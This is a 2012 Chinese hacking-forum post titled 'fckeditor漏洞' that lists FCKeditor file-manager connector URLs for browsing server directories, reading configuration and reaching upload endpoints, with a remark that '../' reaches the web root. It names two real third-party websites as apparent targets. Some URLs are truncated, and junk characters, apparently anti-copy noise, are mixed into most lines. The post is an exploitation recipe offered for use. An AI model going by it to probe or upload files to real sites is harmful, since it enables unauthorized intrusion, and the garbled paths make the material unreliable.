找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2433|回复: 0
打印 上一主题 下一主题

fckeditor漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:02:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 U  ~5 e" A$ L% z3 h0 N
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp1 y7 w) U% s0 p
http://www.china-photo-model.com ... aspx/connector.aspx
+ c2 B; w. D  T) f
9 }' B+ g3 \  V6 b' q; F1 k" ], A- b0 l( R7 X
http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector- m$ `' _' x/ b  ]* I

$ H% _" h& y+ D* D/ v
) t2 n. `# O) Q. {+ j8 S# S) F2 M9 {+ d5 V' p+ `0 ~

+ t8 ?& j2 [# V. f" F9 ?2 `# X" ]+ Q  w! q2 K
查看配置和列出目录下的文件.* d; C6 l  y% P; o. x
  l% a9 W9 u  P7 \* w8 r

3 j# p/ K+ Q+ `5 v& rhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F# {3 G- D! T2 ~
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F5 M0 }  ]/ @( Z; u# w

* [  U, _" k  d1 H% u; b8 p上传地址:, Z6 e# u5 \& K! p: }  R3 j) E4 y
  P0 ]! z/ ?$ z. g) I; Q
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
' \0 c/ N# I1 g0 ^http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表